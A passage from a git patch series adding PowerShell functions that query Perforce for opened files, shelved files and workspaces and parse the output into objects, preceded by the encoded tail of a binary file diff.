zP|Z;_7X$Re<;AYdQG%S8Qd#BTpdQ1YlQm)oB#Iraq{6dVl+T&3c%*Uk_`x~Qx!O*c znhil%j1u-cn;P|p>GmqI8mlU{mvE5?$Y@kGBA%uj11*~)&E$3^4elAAm+D>rB5LDy zqx9XuXb)+yOn^L}Ur66_zqzgojzqy?3@89O#5lG8vgjR>m{V`)^uTGGS}U?dvsCjz z+hOlEK=PASd=tN3w{9IYK)zK!xHQ(_tto5zSr6lwPO1+ID@uJ%!}pr)9`+m6V zSBVW|#G+?sC?ByjNOFXnPJMj!&(t|M27D(+roLVwH`lSYHt%l0x%pKStM?E@muB9Y z=8Gid?)(9jDT0z}H%jT(7{2{1@)1-_E0I1U&9=vW>9(6T`7~>!E&N@+mPl;L8XuRCS&)eW7Dv;UJiL^3j=rkTMdAGy<=JhaMeNg>yRhr zOFtN+NKuFow^NLJQeM*4WNSwT7XHIl@3Y4ULHDhh+{NVQds=qDo&wNqCEE6EteaO% zFmhIumXILev3TS8!x6L|CBYpRu-;QR5hu5+s6eu7G3GK3BmRM2#Pn)=!7|g{ z8pp-(Z?zDonfNKlQX1f=#+Gx2SByvFn&sIdgZxODVxFcp*re@o^;pF!dBxQ9duF)7 zUwlvk_BbKO|JvS>blKr9d?qmY0hb9}B%|L_+q!}#5A&SR)ICW&k!;g-!%)|e_$EvN zES%;-@c+iJ%3nR5o6C6L_-yBTb>%%*TQC+@%g#BQ{0;+IrCx8x0yy-Jd`;;3EiYV; z8W~Gz)tFkh^)6j?Ox98}(&N|0UI*DKcvrkd3F&?O#FF-b49}l;&~Q_A<3(y0d29f0 zF7+f%^T)e!I$DZ_Le!d8x%buKq8`^0EQvjDlR|s2br8JNf**TCE$(8P7K__F$wz5p zIwfQeo^O*=7mPr0q2>#PO zy1>X`MD-4Y%r3z2%wH4_8q7dbN=@8&H(|{bErAAIL+3_Qy$ZFJ8IfFsGhPJ@z%Flt?0 zY(>VURzm>?0dkU%fMt#%#20~wme+n@6=md>qlsv9l`v2p%8aWNo>!158afBK{ZbwE z5X6hSnAzwY&AL}VL8chqj+5lLge|OP{8UGL$S9lwCyhjtRMYyojf5j-Zo8$+F>QbZ z%L@){X7(3n?K_lyeUH&cp8{812ZdAE>M_3%pKgt&FG3EZ99V4J!vk7(RgFY^T7*;WiiyRGz+N$u47JMXLk75Oy`Y8r0YJk_1ZWF+ z?Oy^foKUn#`9>@67)B6Iy^6t2kY=<#r0}W@PdPH6S9=8~1i#|J18&qIn$`{s1>=y9 zcsRx>WDaTKQj6#_G+TiQQ@;(TlK&-y!0qA zw5vAn+)EdcytvlD?wj`6F=B9^7<{_z_ttXTlALP#lONOqvOA*Yg;T1D;(c7I*F03@%BaoK<&1F*2)j4w34gze9ipHaQsj|xAV0F)Y zIhY~(51W%;HRDvh`{Igz(xU0MhlL^PGNvDIN)p_YXVzD}*TO?b*J;EnshcEZbY_l-7cf4_T3uDWO}aD%M>51cZGS#^%O z)x4=)d3#-%u<>;0wT%jZ!=>)ChZYnK$$WSi*$nPg|Dez(c*sk+we{Lk`d9kJSVXU_YsF*AjF$b#O;r7#FaZx;KYVPRO>ZjP3iVGZ4gKA z+)rP~5b_r5nBBLtHPf{X0T2*>8_L}MZfp`mYXip_moS#dOdQ;tk_3-=ik_JT+Rayh zN@Ri)P>H;_)2{ROic*sZ4BZ9*^yS$Ik4CaQFnxe`$Mho>v8rB+L$FHUR5JzIVupYC zAfR%f091@!$d05N%ac4t1=$Y;02B96*V}7PF|JL(&ujewzn>?u!nRzp_x`g69&FgY5C*Yr)}_q;$`!;jnb{8!s(X>wvUJ1U(h1>zf4p2z6G`T9YKBiD$?>z? zG|$Va{Nn>H&Wb9xLLWtrCy#QCiSN1Yj@cmHFom!6j4>3+4^&-7rLKC>7W$qiE<%Ci zy5?9=;9vY}b2n#iGks^LcHoR99qvqIM3g;CPnG%oL@YYPCrbZnZ+5Q6<8k7d-&Y7? z5q7Z5OK#1$to{jcIGT6%R0Ma4JMli7#X)(ZfPKE~1&pmou z;luqEdj(GLPWYa~a*2RajNfOm?;gFDdu#)nPl&q=_A{_uB8#?{Z4ZU<7yz*d-L>8j z;?Q2aYrDn!b4-0k+bI*S_(^-q&zPHe9SM3|8z+Mx#*52fri`hESxU7 z41d^~{TRF@Zs8nlFGMMuBv6w4q-04lc-qntT+X$n=X889Eg3?Rx4}}?yt=*|bP`mw zZS=QOE3y#?Q&l6E*KNeNFteAfgD+mOLC)vcjT-&pHfLdTIH4SQltKHt>w%{qf=c{C z{Vq1}#jZQ-kGdiCxZQ6U4YAGalHSk5pO*!EHguYIj1%s1?!z$R&J?4;qP;9D)1BGS z9fiU>sKvqvKQZ5JSeG7V(-(aQR5^C3iOp|trQGv3%iwh-D69@0iScHi1$e)=3D6q< z(#A@UZ3_>y&oHkl&*&>ZZX~=ID9V>(PD#e*K_PJF^AHd)0_McD%R#!kvl%m=JW`8! zqegT2;MCuxvl98Ii#xVfZu;$y(wuPQ~~ ziY4axeQi0o)+o7IS8%Yox8YfmcJWO7GPP-dMAD9wzm?@DN5sn2$SoVO7GM7E&3N%R z#{`*mOu196L}Rsz<=vJJIMj5B+7y~dtzIf0_H%qxP|212;c?n_L1_HNTvn+*i$5bT zGMB%#Q>5}rm~U{~xVhjqA3CUxiZNp)cF)bQ$A);3)+TIr1LO2X_v4?34VM}D$^U&d zS|3+weC8{|H6{D?g6?(`R$}S3y8vIi`E>`0Y>L`EQ@RzSnOu_Yx9Q|5EaPMR6Los+6OdFC|>YCGyuZu zvEtn4L=Ci8qPwxHhjV&V1W?qvi#~4=KMh}w<|{3}Mr1oNl1;_RP;f`_ej4Z3UN=Dz zE_gWZjJOAmJjbd!oGfr)X zxs|w8d2Cvz8Tj!Gwz{OW}Pegr!>vQ$q zFjM9o=L|N^jP<`5ul;&S{Ui?B#Mr#JZpKdFe3@Xb8;eZ%c6#>%w8kaOjY)wt@kiF9 zbaD3Q#`Q!C`l8723)A->fV$&v%8Bv;;0=&*D%J42JoCMPM$+5lyPjXy*$1yUCmeB5 z`umo;1QuFu4_mSCimEK=Gb_J0gCsA%|38_(tFKX0nMR-U{q{m zjy{?Kv;nz5?@$7~GuaXCH^*@sGzk>HuC<;;`g6P!gdJE+RCPd>D41@h_~gpa#l{`4 z+##z`_5jPqMF3jX^Z;m1%k$+n^T(d-V?8>pJ3kXB>m0&-y=Uh-<3;B{<-EUAke9MC z)3-T#XLT%mvve3t z6-ZDuP*3pL;>zr$+8#^x4Dgh?N)8fszk+`MOfnO}*LumQh>J1-Le||{6bT~K09J8# z@z0j*0^s|>`#g#WJi)^lbOh~Vs3R=-tqj+R_2N%t7U zU;yrj96LNd^WiU-Zx4ZejC*bo)0lAX46~4FuI2>aR`BYmXk7<~TU3X^~+DGJK1 zgVBvc&dql}Ix6zS!sdLiyF8Yw4Yfs2MfUep3NnD*`qJRPlcm7o08WJB|8~-O6u9R% z5`D4nNR3ZLB>y2Z`_H5MA0L6T;4*Ok(_;S?8uS;sM5H}H>LdWtLtoDOXBh|?AbgS9 zC*V*E`e?sS_?Ujytn7DZuDDpu;NqE(OD_xtPH<{t`+Gi5_xUCaUV_*)^Sq{Q`;W*> z!`H%z`uBj=66NyIR5(pr?q8+?@StLgrH|xe@H1KibHTryg((ZSwIFuoqDy><^pDCO zS$tc-pN9-A^6P|nJ2v3T#79CthtZYe5$3q z-`aWIk6jH4ckv%6KpXNX*n~q51pRKepD;OZ&UlHL0s+p%6sUWC00~-|>Vp14wgFJP zK}yW3X34w;kxYTz84~1EZx&qZ?yz+OKwReM1~$Mvq*yN2Km4SNKi`}z%kZaxqs1kx zh!1$ovcl_ipRspE^SF?w#%PTaFY;6sZh{*a`!p4~xx;g4Z4A900(U3LM*e2$H4bxm zOPX_K8pr1YdjyjZ za>wGBi}ZlAN;&;F{w%}o?iy5pYxw-%L{yJW{+)gue)42g=3*9Gm~s8Wev~gVonXu{ zgvEZQI!Q?NOJD{l>C%ZVpnqW4N*Kpq59b)+pX%+GS^~^7yl$%dC zdATh>#KG&>`m^U26HWoFB38Y15d5s-x=;dj>-Rnll1?8 z1lVf-8?EdAm+s3Hhzbw6`H>|@KM23KFFQ?&(MO)raT+0yM1cB|lq&#N!GO{{HN3qi zxG-$!$3_fmVz<;$mrAFHgNrslMHheSk$rDc^X*Q4Yf=2x!+1#`2mQf2_FaqP(Me6B zE1$m-;524_uk?TFSU=K03g1hzRF8%E_Kj;njpyc@XKF1q^cyazcSYoe5hX;yWJ7am zdN?_OpxAm1un;JnaXe*$Id{l-*&dyxA`6uF=0(G@ahsZ}qijS~ihDjMysymFyfjtkbzsXG0`UH|7vRG9V+|P`Dle;q*iym5 zyDfi&vrncUtuScRLqV z5$vb!&l;)@Ehn1k)1&_p!fWZPeZNB)VRJP-;RLnMbt+063gCj;$26{&EHCe^I7fGG zAA1{XjXGgJ@SaG$m@0acziTuS3DR4j?#T_d>6hF5J$+ney%CP1Z9;jy@yFbfjVSC> zkuy{+WS#5$3{^SdM0;(5RpM47@^|_#Ngaw13!(nB8o!&oKi)G^^Njt10$f)hmA3a|+L+8$6c>vM_eqNKNe0qi5%(!AWb>0&U$bOOHIp{yXJ0-7bVI+IYD?6L#f zfoRP_a_6U*+Ghh#cC9iq3qmsm_c}}ply;JUHiMW_wM%p}M!MzM%`0-a&G$`B7xSj7 zQ7-eV@RUN(s_NqO6)8!NDuW}{%#Y(&h{38#+s&H(m&9^jWOBE7Znt&N54eXM4u`wJoAD%(FtF>#31mI` z7J=^cqrE-12I!@%7&|FZ>URNtj9ye9VlLv!+uC+t4J=T{@mIzeiOm3i7p!LETft0d zba2#78jSN4lC`KNr8X`lqT!e^fp77t@vD0VT|-AO=a1Qh&nYUi^7_*3E+v#`v{!li zJ!?~(VS8CWkO^PS>AZ5+{E6PIuvu|`JuR@S0CD`lzGn9P0ur65<0)^&cqap=WVL3f z*TyAdo)ei_ZEm@nc;bK@i1C(uc>+Yz`dvSS)n-{+3Y8T(0yL zejzh#^fBg#@6E|;jPoK*0qQ<=$tofu5bW$)IUWl9ql~?rl1y16t$G^^a#*j z+VMMI?4}oDo$>ekqBzm9<*?PVgpnE3K@u)N*}r!- z_6RWg=J;mqCzkWE5ZCyD2?=J@bk*O|&x%kk>~x){OZP z+$;0}ObDA>jd;5>&7fvMcIwrtU9Bw}9RN(mw)Fc%5$w3p&z+X3+}Rm+ZHL!%3GtId zf!I36p!=2X23u%CVmRY`JPRO4SoUpjCKBIr@5aU_2=+&vD6iDpfWG3`3>_vEj@KE} zE%zy`T75Canq@931jR+=L(+RJy+()axV>Dz1q%_mCUT#zdrIpmA`a737pIhu( zp@mFCy2mXVHkMz#6OL0f!jz>GEvxRA+15QRQ)8gHbZg&bu=UiOxXgB5FA}B?qnOSS z-<$5rV0qi{DO=gBnLEB6%0A|v+|wD-)-w+;MH|Zxpr(b#>1o92DFyh&!&oB{^a?V4ipj4Ty_-bfswl$x z{Y_%7tZR1!s&rs*~Goh=3^edq#Oy>nt%S)EYY7=4Ll*cLi+AUf4%8R3!V&1THo2%gcyBLV&4$ z3t%fh>gNVnq}b{71dC>0XgTIcTj$p(rGd+e%JrTaH2XDh4!>Bi*>T$GrxM7_`VLrM zrrG`IrlJbWva@3@-0xvxtu>)@d1vx#)l>5Joc!ZoC%^H=8FW)Rjr(h7Z-by&?@fNL zsLSlE>e+=zOfZFDIvG~0XPFl1%|e#5^zeMRrx3CG!j10i(OePEQ$k#NQ7YQqz}hdG zZr`}X1(?C4+fx$rB^}AdN5x9@rtI^MHSMkqJ=6&sRF6W$}Vo_{IiAq@g6{CI04K-Hp3zPK!$CI*K zBOaADZyakY&fdcr<(vX|Kn~Oa(vnTzM*U02T8DXHMO+LdIsGQha+bhUhzP78oPyi1 z@rJK5_h-?kiP;$_F;vEk`I!LaBE0-5CT?jx>grh>E=YK}3BCkVQ`YPvfWS z-L(JArWnp9-|%P)o2ou`J+GUZk~gJm5q|c^q%ej83z(~i@@2w8xZhFGbw>JZjJ2|_~?Tza|V9h z;lpQyCKA+zIwwr|fYelSGJt4pE25`B{qsNg(MaX*`&m?5{}~7KzcJzTTP9?VF&cK! ziD+?xl5Ldk12Z51ZeuN0O#&}ndk|@0m|QuLrc@E{*SuzG1>_VOqLg}mI^fQ`Ms5*L z1cYn#uTz5AS_S#L_*&Y}r0yE6s;xw#)Kk-cDZ~d6O)u|$+^Yg8)NKm?5*?;VHziq~ zMGbfG7_&;i4FjMH!PRBG!r1SDQsCly(VIK=cimh?Ed(2(a)v8mx%X#|0{ptJ!gPDEmldpH|5nw06#7Kz-xYYC7nGZ_zrd6(5ElQNhSEMLN zFYFA*`?2FjuLa<(#=uwX!+5~e1ZD*c2C4;lPya4bz>^~xd4>PQv-E$yqyM%w{p%xT z4Pw+&BkQI|CV?4W8ZiN#&mWU@^!dTd|BAr2+x%l8lk?z4Nc*iWTdtS>D6}XkFo_S`VgqPvBtQ&T)ii)|IRu6Za9 z2e*DyjeY@lPjqyW-N!9HQ6&aJ`q5eIK#%w^mZmp#&;%E_PX35Czp&UB+aY+!Uv#}8xt$;Ra8X; zpN(Z$kszD7bEbgnA--OFYJ{`d;eE*ug4?>gy&+w z9|?3qKQs~mJkE;2D;d)t?c5vV{dFQP*~v|ScPQ^TVd0g|d*DAyQtKV$JL z4?tYEyjL=nO}}4{L!QHoklxUu^6I9U^@Uca?WX1f@9qG9i`<>1Ev>V5uf1~Lu`0de z!@mHQ{iVuI6CFKS;^B-?kg$e=xo7nr@R|uNU+H5|>(VTN zgx09_SDl)B7y4f#-Cm*F`o#VP+g%nl{5RvucLbd>yw?dQdcb#at5sA{KQU%^p-zpR z>#qHI;#KK)k#Yy2yY)!~6gLAT00-s=Pj7k8?=6oj7r*K_!~*-E0^cUB zx2k#d{W%7G1OYN7Cx^*0fYw};*9t+9-(;9Ee}0Q0@a0TOmXXngDu)>*84muAEc%Vz zxEcP~96302ER+jyb~nGZB}PVw|J4%3w2?Y5Wd6mL6v(=OaX4T8|1FmCj`3>t;|{2@ zWn6Jp8Cs5`+#2$<%%NX#`ZBAo`&$r-hx9cL3^$?^0wZ$Kd?Ml$F zD*utT&L~2(OpWU0)}|MLX8}?}T|{w1F4cp#Vt;<`+^HhHP;0FM0;?(=>hQ5JZ}9JX zgX^PnbI8TiKRvRZ)8s193|cU3wUX&=YZa*h0n$QSz59}l1dcDyOoaf*x z^yeSAQ*r{po!cPxWoH0{xZk=(S59QR-it$D_M~O{fE*ejWa-x_JjaVAHblK$URDRG zWbK}D^}ko@oVaW^jSa{d~TJBQj6%D6rgK35|ANU zuG3!}MH!;G#2h17(Oi~d8IxT#pk)VK8***{4~%#!%{V+732>fdJHIaVmlht-nbI=^ zX{7?}`_5~{S%TRb!ruN*xeau7!>`D(8v2nFDsbII6(RQIC?uqTzySOuif=~TF%oCd z*0OfqJU0yW_LY@25UOcyG?d$5(nZ58P%E+-_Wg<{QHY%mV8(8|ysO-JQQCKgX%*V{ zJZhCkbHC9oJP*%Chq_)^q!&`U_Pu_Mu&bTVR>1AohQznF*MEdemFr!u*qQIVJKODR zO#1_xp6Gg(f}v?UaD!S*_=~C`q8xh`P+VIA9fj4;i$Dq0#;8Lg`1@}wz{a(N9RN66 zJzukfv1kA*het_2KuEQwQTS{6x}r$8*RJ_7!hYZP)r!cmu)iN;c1}Fo?u?g%D(!bV z0}EW2vO!&Wj)*Y)j}Iv-G7TCZmj8V0()!q|JP_ymv=p)Nk5-b0QY;VXdx7^^zM_uA zXvXMW(tGex0JF>4N7D;oa%|qPtBA`@yS;b~i=>;~-#}rPxK%BX>)zobL-(FBeQ*mo2HCq zV-LQ?%q&!VMm!Y8Z?ivAs6QVQt49zZuVvc3#Ro8m)GjV zH1`+6rb<{PEx#{pmPTg@l&uN)yPj$JJoccMVz+A%jXM3~vzT=}cP=pgCG&KJhtKsI ze!D1jufX#e#>>!S!{_;}zHB;RAPUrL za#Pu0sBFRRdfdJl>w@p0YwqJuT4qmcl+X;SJgHic9l!*&R@ywH;RP-n;c# zygF{IR?qb27eBtoGjUp#W&JfF&uO(Q)uT2yL1=n`e!05(I>xH9F!8h@x!J+dTL_$2 z$lDfI&G$h#eLT3PKHrN?LBF?oIMm77NlIa7K6#wfEul*W{L(lX#2;+R_cblP;xiS* zL#&2jvibHbkHQw-WZ{zGb(Aq7L>y-yvswu@PEJqjnP!bX{;^k^?s>gFBRD*$ccneJ z5b*{UZ70(JiBjiNAf48*cRQ^Hx!3Uxt_)ho4Egwov~7-fpG(`z3Cvuu)mR;Ou33e` z$5ti&M{8Fa)l`y&9|l2f5T|WLWf4v*Q9$AVvM*6+5oF0|fL1WjBch;eK?I>$ZQ$58 zM1c?yLeLB#1_%gYkxc~DgiSy|77a+kA|aRr5(y-k%Gl@34`=4r{Har?>fT%5t$W{h z-+61Gx>6Rpw9;mkeJarJ3V%G?%>+)X=|6dAW~ebT)j$DVaxXP!bigqcOGS7?R!uW{x%NArpmwGqQnMupuS0~u$3=T7F-Lf8CsVG15~gDZHB zIy6;18@KH<>reoF2Lz!Gf(DtqRS|UkHz`2S5BHG}1Z^JS89LxKd;0CQd&gSEM;1%( zO$6tydr^`$K~Nl-Y@mqG5e&Sz(if;#%J^~2Pn+J#cQiK6AzzJdZkm-=Pb}EmK2TGR zn+S)XqByP1DJ0*0ee@<1%T+NtH@IHDsmz2Gk={_fF@eQW>&_5@MTMs(l8dsiN;tRy z$;gbm0fQiq93gdwW~?3JV58ut%NG?gi5flh$^PNnsoV3FAc#{dRNmFL;VaIb47$v0 zP3|#Lc`I!o3fKmDlP6~&D2Yfj8Oj_{+O@3FL}Z13u!;_MDg=7-?(50m`(uFz>8BBO z%ti#r)3tnO*}{HykJ&zDV7FWdYyZkQRBa#ot}EY-hBdeVh&W0e?D%03cAA)1zM>i+ z93&rhG_brMjZi(ded`d3^~o#+>|~X|YM%q@d?Di=pVp(bzwcJ+ZJVF(zwSuA7x0K@ zrC2=Kohk~0$HUh0y66yy$Dq{E;aIUDD+4=o*b&au9y2AQg2XODk7%(g1U+}3$UBz? zoPnnx0ffzZ|2bk`hizArr{){0ZN4 z;~;PWiQsRZeLVr}FX7t0`qU5cvxAO-9&qpeKgzk$Wz>AFutQ^NT=*+x0rz1rJmGW9Q+|8rGd~{TrIWQZ zN(v{WMe@0>?k#rsVzGdYF=~~}FW zAxmvr`gEVt{&A=ayj0=TpTTZ_;h5W}H5r?};DKG`CKtqpEUr`9^(?I|2Y7fD2#U#y z(%J$lgAQF{i16-?OyIRkSiraIf;;OE=LBc6to^Rras3TI)ZUhgh7!e2mP7ueV%`7; z_n=Eyt|Mbq6X9U4>(Wd}VEO zTJ!y}CTAJtRjf~44e0CLx+AZ)(=4Po4AU(gwI=m$fuKTDTUAB8gTuM;qdL))2&IY~ zIa%h>U6{zgQB7*rt(&63*>P!ZjY@@OD7n2$9**hx>7I;?Yv-@10)4L#Dta=XR)71|($!7HxLU zqjqwx6TF$Gr3pbd~Fkl&ZtPN@Y}b)SIQIOEaM|B2(q9< zPNkGf$A^!QccG2YIG8 zpQzfYvPTJ;a%OG&H&g!4!|@wl{l7>HIT&+*sL)Fw5X8OzEmskc@;hC)d%-*5#b^W9 zLwh$tNt<>8>_yMzQ-_Ww1LUr0tJ*4Wi5w`T*uM9hS=yl&aV*@d=V@BTelE_6L4Wc@-G6TW6eH+ODzqxmsW9Y|CeT8h@kx4O+7 z{ajj^50Z7|#d7e3H!bAY4lrIK5e9m1IRk`HK!`r_%arWdHB$(Bqv2N^d#Omu1m;T4 zlx;j5hUF`zJP3Pgsj?9k0t%WC)8ab6SdQ2mTy{z4F|c%|Y$a+WJ=uQbUwDUM&p&wu znZ~_QTJqIBwdC(da4C-6^My1HD45eChCYUYdr{{p)3s#P{V09gY!)I|1JoN)>uLT4 zibAK)g2j$W3Bxt`aBJX6dP7+_up+GPK P<{{^w+#M@V_^136ss=Ro literal 0 HcmV?d00001 From e3e78d56fe03e04f82de4ddf8cc7f6e259bcf508 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 17 Mar 2016 14:45:24 -0400 Subject: [PATCH 074/561] Create Get-PerforceFileOpened.ps1 --- .../Get-PerforceFileOpened.ps1 | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 diff --git a/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 b/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 new file mode 100644 index 00000000..86506f3a --- /dev/null +++ b/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 @@ -0,0 +1,74 @@ +function Get-PerforceFileOpened +{ +<# + .SYNOPSIS + Function to retrieve the file(s) opened for a user or in a workspace + + .DESCRIPTION + Function to retrieve the file(s) opened for a user or in a workspace + + .PARAMETER UserName + Specifies the User + + .PARAMETER WorkSpace + Specifies the Workspace + + .OUTPUTS + Psobject, Psobject + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding(DefaultParameterSetName = 'All')] + [OutputType([Psobject], ParameterSetName = 'WorkSpace')] + [OutputType([Psobject], ParameterSetName = 'UserName')] + [OutputType([psobject])] + param + ( + [Parameter(ParameterSetName = 'UserName', + Mandatory = $true)] + $UserName, + + [Parameter(ParameterSetName = 'WorkSpace', + Mandatory = $true)] + $WorkSpace + ) + + if ($PSBoundParameters['UserName']) + { + $OpenedFiles = p4 opened -u $UserName + } + elseif ($PSBoundParameters['Workspace']) + { + $OpenedFiles = p4 opened -C $WorkSpace + } + else + { + $openedFiles = p4 opened -a + } + + Foreach ($File in $OpenedFiles) + { + $OriginalLine = $file + $LiteralPath = $File -split '#' + $RevisionNumber = ($LiteralPath[1] -split ' - ')[0] + $FullComment = (($literalpath[1] -split ' - ')[1] -split 'by') + $ChangeNumber = (($FullComment[0] -split 'change ')[1] -split ' \(')[0] + #if($ChangeNumber -is [int]){$ChangeNumber} else {$ChangeNumber=""} + + [pscustomobject][ordered]@{ + LiteralPath = $LiteralPath[0] + FileName = ($LiteralPath[0] -split '/')[-1] + RevisionNumber = $RevisionNumber + Comment = $FullComment[0] + ChangeListNumber = $ChangeNumber -as [int] + User = ($FullComment[1].trim() -split '@')[0] + Workspace = ($FullComment[1].trim() -split '@')[1] + Line = $OriginalLine + } + } +} From d0d175a253181e1cd3e970459a3f721af2e383aa Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 17 Mar 2016 14:54:37 -0400 Subject: [PATCH 075/561] Update Get-PerforceFileOpened.ps1 Rename the property User to Username --- PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 b/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 index 86506f3a..3007ae02 100644 --- a/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 +++ b/PERFORCE-Get-PerforceFileOpened/Get-PerforceFileOpened.ps1 @@ -66,7 +66,7 @@ function Get-PerforceFileOpened RevisionNumber = $RevisionNumber Comment = $FullComment[0] ChangeListNumber = $ChangeNumber -as [int] - User = ($FullComment[1].trim() -split '@')[0] + Username = ($FullComment[1].trim() -split '@')[0] Workspace = ($FullComment[1].trim() -split '@')[1] Line = $OriginalLine } From 57d431391efdda166e79e82a996b84424730b72b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 17 Mar 2016 14:57:41 -0400 Subject: [PATCH 076/561] Create Get-PerforceFileShelve.ps1 --- .../Get-PerforceFileShelve.ps1 | 66 +++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 diff --git a/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 b/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 new file mode 100644 index 00000000..70c29475 --- /dev/null +++ b/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 @@ -0,0 +1,66 @@ +function Get-PerforceFileShelve +{ +<# + .SYNOPSIS + Function to retrieve the file(s) shelfed for a specific changelist number or a specific User + + .DESCRIPTION + Function to retrieve the file(s) shelfed for a specific changelist number or a specific User + + .PARAMETER ChangeListNumber + A description of the ChangeListNumber parameter. + + .PARAMETER UserName + A description of the UserName parameter. + + .OUTPUTS + psobject, psobject + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding(DefaultParameterSetName = 'ChangeListNumber')] + [OutputType([psobject], ParameterSetName = 'ChangeListNumber')] + [OutputType([psobject], ParameterSetName = 'Username')] + [OutputType([psobject])] + param + ( + [Parameter(ParameterSetName = 'ChangeListNumber', + Mandatory = $true)] + [string[]]$ChangeListNumber, + + [Parameter(ParameterSetName = 'Username', + Mandatory = $true)] + [string]$UserName + ) + + IF ($PSBoundParameters['UserName']) + { + $ChangeList = p4 changes -u $UserName -s shelved + $ChangeListNumber = ($ChangeList -split '\s')[1] | Select-Object -unique + } + + + foreach ($Change in $ChangeListNumber) + { + $ShelvesFiles = p4 describe -S $ChangeListNumber | select-string -Pattern '\.\.\. //' + + foreach ($file in $ShelvesFiles) + { + $OriginalLine = $file + $LiteralPath = $file -split "#" -replace '\.\.\. ', '' + + [pscustomobject][ordered]@{ + LiteralPath = $LiteralPath[0] + FileName = ($LiteralPath[0] -split '/')[-1] + RevisionNumber = ($LiteralPath[1] -split '\s')[0] + ChangeType = ($LiteralPath[1] -split '\s')[1] + Line = $OriginalLine + } + } + } +} From e64bcd2e4c05d3f231dd563338310544aefc2333 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 17 Mar 2016 16:52:37 -0400 Subject: [PATCH 077/561] Update Get-PerforceFileShelve.ps1 Add information about the change, user and workspace --- .../Get-PerforceFileShelve.ps1 | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 b/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 index 70c29475..d24623bc 100644 --- a/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 +++ b/PERFORCE-Get-PerforceFileShelve/Get-PerforceFileShelve.ps1 @@ -45,9 +45,10 @@ function Get-PerforceFileShelve } - foreach ($Change in $ChangeListNumber) + foreach ($Change in ($ChangeListNumber|Select-Object -Unique)) { - $ShelvesFiles = p4 describe -S $ChangeListNumber | select-string -Pattern '\.\.\. //' + $Shelves = p4 describe -S $ChangeListNumber + $ShelvesFiles = $Shelves | select-string -Pattern '\.\.\. //' foreach ($file in $ShelvesFiles) { @@ -55,10 +56,15 @@ function Get-PerforceFileShelve $LiteralPath = $file -split "#" -replace '\.\.\. ', '' [pscustomobject][ordered]@{ + ChangeListNumber = $Change + UserName = (($Shelves -split '\s')[3] -split '@')[0] + WorkSpace = (($Shelves -split '\s')[3] -split '@')[1] + ChangeDateTime = ($Shelves -split '\s')[5..6] -as [string] -as [datetime] + ChangeType = ($Shelves -split '\s')[7] LiteralPath = $LiteralPath[0] FileName = ($LiteralPath[0] -split '/')[-1] RevisionNumber = ($LiteralPath[1] -split '\s')[0] - ChangeType = ($LiteralPath[1] -split '\s')[1] + Type = ($LiteralPath[1] -split '\s')[1] Line = $OriginalLine } } From 762cf964b6126f898fcd720274dc50e578fad5f7 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 17 Mar 2016 16:55:41 -0400 Subject: [PATCH 078/561] Create Get-PerforceWorkspace.ps1 --- .../Get-PerforceWorkspace.ps1 | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 diff --git a/PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 b/PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 new file mode 100644 index 00000000..c21f99c7 --- /dev/null +++ b/PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 @@ -0,0 +1,54 @@ +function Get-PerforceWorkspace +{ +<# + .SYNOPSIS + Function to retrieve Perforce all the Workspaces or those owned by a specific user + + .DESCRIPTION + Function to retrieve Perforce all the Workspaces or those owned by a specific user + + .PARAMETER UserName + Specified the Username to query + + .OUTPUTS + psobject + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding(DefaultParameterSetName = 'All')] + [OutputType([psobject], ParameterSetName = 'UserName')] + [OutputType([psobject])] + param + ( + [Parameter(ParameterSetName = 'UserName')] + [string]$UserName + ) + + if ($PSBoundParameters['UserName']) + { + $workspaces = p4 workspaces -u $UserName + } + else + { + $Workspaces = p4 workspaces + } + + Foreach ($WorkSp in $workspaces) + { + $OriginalLine = $WorkSp + $WorkSp = $WorkSp -split '\s' + $WorkSpCount = $WorkSp.count + [pscustomobject][ordered]@{ + Name = $WorkSp[1] + CreationDate = $WorkSp[2] -as [datetime] + Root = $WorkSp[4] + Comment = $WorkSp[5..$WorkSpCount] -as [string] + Line = $OriginalLine + } + } +} From fe02297fc325d67f07973874d5f64cf19fcd1acb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 18 Mar 2016 14:10:52 -0400 Subject: [PATCH 079/561] Create Get-PerforceUser.ps1 --- .../Get-PerforceUser.ps1 | 33 +++++++++++++++++++ 1 